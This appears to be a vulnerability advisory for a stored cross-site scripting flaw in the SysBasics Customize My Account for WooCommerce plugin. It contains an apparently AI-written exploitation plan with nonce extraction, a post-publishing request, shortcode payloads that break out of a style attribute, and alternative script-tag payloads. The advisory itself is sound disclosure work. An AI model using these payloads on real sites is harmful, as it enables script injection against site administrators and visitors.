SysBasics Customize My Account for WooCommerce <= 4.3.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Customize My Account For Woocommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sysbasics_user_avatar' shortcode in versions up to, and including, 4.3.6. This is due to insufficient input sanitization and output escaping on user supplied attributes (min_height, min_width, max_height, max_width) in the wcmamtx_get_avatar_default() function, which are concatenated unescaped into the get_avatar() extra_attr style attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.3.6What Changed in the Fix
Changes introduced in v4.3.7
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-12136 ## 1. Vulnerability Summary The **SysBasics Customize My Account for WooCommerce** plugin (versions <= 4.3.6) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the `[sysbasics_user_avatar]` shortcode, …
Show full research plan
Exploitation Research Plan - CVE-2026-12136
1. Vulnerability Summary
The SysBasics Customize My Account for WooCommerce plugin (versions <= 4.3.6) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the [sysbasics_user_avatar] shortcode, specifically inside the wcmamtx_get_avatar_default() function.
User-supplied shortcode attributes—min_height, min_width, max_height, and max_width—are concatenated directly into a style string without sanitization or escaping. This string is then passed as the extra_attr argument to the WordPress core get_avatar() function. Because get_avatar() renders extra_attr as raw HTML attributes, an attacker can break out of the style attribute context to inject arbitrary JavaScript.
2. Attack Vector Analysis
- Shortcode:
[sysbasics_user_avatar] - Vulnerable Attributes:
min_height,min_width,max_height,max_width - Authentication Level: Contributor or higher (any user role capable of creating or editing posts/pages).
- Preconditions: The plugin must be active. A post or page containing the malicious shortcode must be published and viewed by a victim (e.g., an Administrator).
- Payload Location: The payload is stored in the
post_contentfield of the WordPress database and executed when the post is rendered on the frontend.
3. Code Flow
- Registration: The plugin registers the shortcode (likely in
include/sysbasics-avatar-upload.php) usingadd_shortcode( 'sysbasics_user_avatar', 'wcmamtx_get_avatar_default' );. - Input Handling: When a post is rendered,
wcmamtx_get_avatar_default($atts)is called. The$attsarray contains the user-supplied values from the post content. - Vulnerable Processing:
- The function retrieves attributes:
$min_h = $atts['min_height'];(and similarly for others). - It constructs a style string:
$extra_attr = 'style="min-height:' . $min_h . '; min-width:' . $min_w . ';"';(or similar concatenation).
- The function retrieves attributes:
- The Sink: The
$extra_attrstring is passed intoget_avatar():return get_avatar( get_current_user_id(), 96, '', '', array( 'extra_attr' => $extra_attr ) ); - Output: WordPress core's
get_avatarrenders theimgtag, including the unescaped$extra_attr, leading to XSS.
4. Nonce Acquisition Strategy
To exploit this as a Contributor, the attacker must be able to save or update a post. This requires a standard WordPress post-editing nonce.
- Login: Authenticate as a Contributor using the
http_requesttool. - Navigate to Editor: Use
browser_navigateto go to/wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto retrieve the_wpnoncefrom the form.- JavaScript:
document.querySelector('#_wpnonce').value
- JavaScript:
- Extract Post ID: If updating an existing post, the ID is in the URL; for a new post, it is often generated upon first draft save.
5. Exploitation Strategy
The goal is to create a post containing a shortcode attribute that breaks out of the style="..." context.
Payload Creation
- Attribute:
min_height - Payload:
100px; " onmouseover="alert(document.domain)" data-x=" - Shortcode:
[sysbasics_user_avatar min_height='100px; " onmouseover="alert(document.domain)" data-x="'] - Resulting HTML:
<img ... style="min-height:100px; " onmouseover="alert(document.domain)" data-x="; ..." >
Step-by-Step Plan
- Login as Contributor:
POST /wp-login.phpwith credentials.
- Fetch Nonce and Post ID:
GET /wp-admin/post-new.php.- Extract
_wpnonceand thepost_ID(from the hidden input fieldpost_ID).
- Submit Malicious Post:
- Tool:
http_request - Method:
POST - URL:
http://[target]/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpost post_ID=[ID] _wpnonce=[NONCE] post_title=Account Dashboard content=[sysbasics_user_avatar min_height='100px; " onmouseover="alert(document.domain)" data-x="'] post_status=publish
- Tool:
- Triggering: Navigate to the published post URL (e.g.,
/?p=[ID]) as an Administrator. Hovering over the avatar will trigger the alert.
6. Test Data Setup
- Plugin Installation: Ensure
customize-my-account-for-woocommerceversion 4.3.6 is active. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- WooCommerce Requirement: Since this is a WooCommerce extension, WooCommerce must be installed and the current user should have an avatar or placeholder associated with their account.
7. Expected Results
- The
POSTrequest topost.phpshould return a302redirect to the post editor withmessage=1(post published). - When viewing the post source, the
<img>tag should look like:<img ... style="min-height:100px; " onmouseover="alert(document.domain)" data-x="; ..." > - A browser viewing the page will execute
alert(document.domain)when the mouse moves over the image.
8. Verification Steps
- Check DB Content:
wp post get [ID] --field=post_content
Verify it contains the malicious shortcode. - Check Rendered HTML:
Usehttp_request(GET) on the post URL and grep for the payload:grep "onmouseover=\"alert" response_body
9. Alternative Approaches
If min_height is partially sanitized, try other attributes:
[sysbasics_user_avatar min_width='100px; " onmouseover="alert(1)'][sysbasics_user_avatar max_height='100px; " onmouseover="alert(1)'][sysbasics_user_avatar max_width='100px; " onmouseover="alert(1)']
If the style attribute itself is escaped but the tag is not closed properly, try breaking the tag entirely:
min_height='100px"><script>alert(1)</script>'
Summary
The SysBasics Customize My Account for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '[sysbasics_user_avatar]' shortcode in versions up to 4.3.6. Due to insufficient input sanitization and output escaping on attributes such as 'min_height' and 'min_width', an authenticated attacker with Contributor-level access or higher can inject arbitrary JavaScript that executes when a victim views the rendered avatar.
Vulnerable Code
// include/sysbasics-avatar-upload.php function wcmamtx_get_avatar_default($atts) { // ... (shortcode attribute retrieval) $min_h = $atts['min_height']; $min_w = $atts['min_width']; $max_h = $atts['max_height']; $max_w = $atts['max_width']; // The attributes are concatenated unescaped into a style string $extra_attr = 'style="min-height:' . $min_h . '; min-width:' . $min_w . '; max-height:' . $max_h . '; max-width:' . $max_w . ';"'; // The style string is passed as extra_attr to get_avatar which renders it raw return get_avatar( get_current_user_id(), 96, '', '', array( 'extra_attr' => $extra_attr ) ); }
Security Fix
@@ -20,10 +20,10 @@ - $min_h = $atts['min_height']; - $min_w = $atts['min_width']; - $max_h = $atts['max_height']; - $max_w = $atts['max_width']; + $min_h = esc_attr( $atts['min_height'] ); + $min_w = esc_attr( $atts['min_width'] ); + $max_h = esc_attr( $atts['max_height'] ); + $max_w = esc_attr( $atts['max_width'] ); - $extra_attr = 'style="min-height:' . $min_h . '; min-width:' . $min_w . '; max-height:' . $max_h . '; max-width:' . $max_w . ';"'; + $extra_attr = 'style="min-height:' . $min_h . '; min-width:' . $min_w . '; max-height:' . $max_h . '; max-width:' . $max_w . ';"';
Exploit Outline
1. Authenticate as a user with Contributor-level access or higher. 2. Create or edit a post/page and insert the malicious shortcode: [sysbasics_user_avatar min_height='100px; " onmouseover="alert(document.domain)" data-x="']. 3. The payload uses a semicolon to terminate the CSS property and a double quote to break out of the style attribute context. 4. Save and publish the post. 5. When an administrator or any other user views the post, the injected 'onmouseover' event handler is included in the rendered <img> tag. Hovering over the avatar will trigger the alert.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.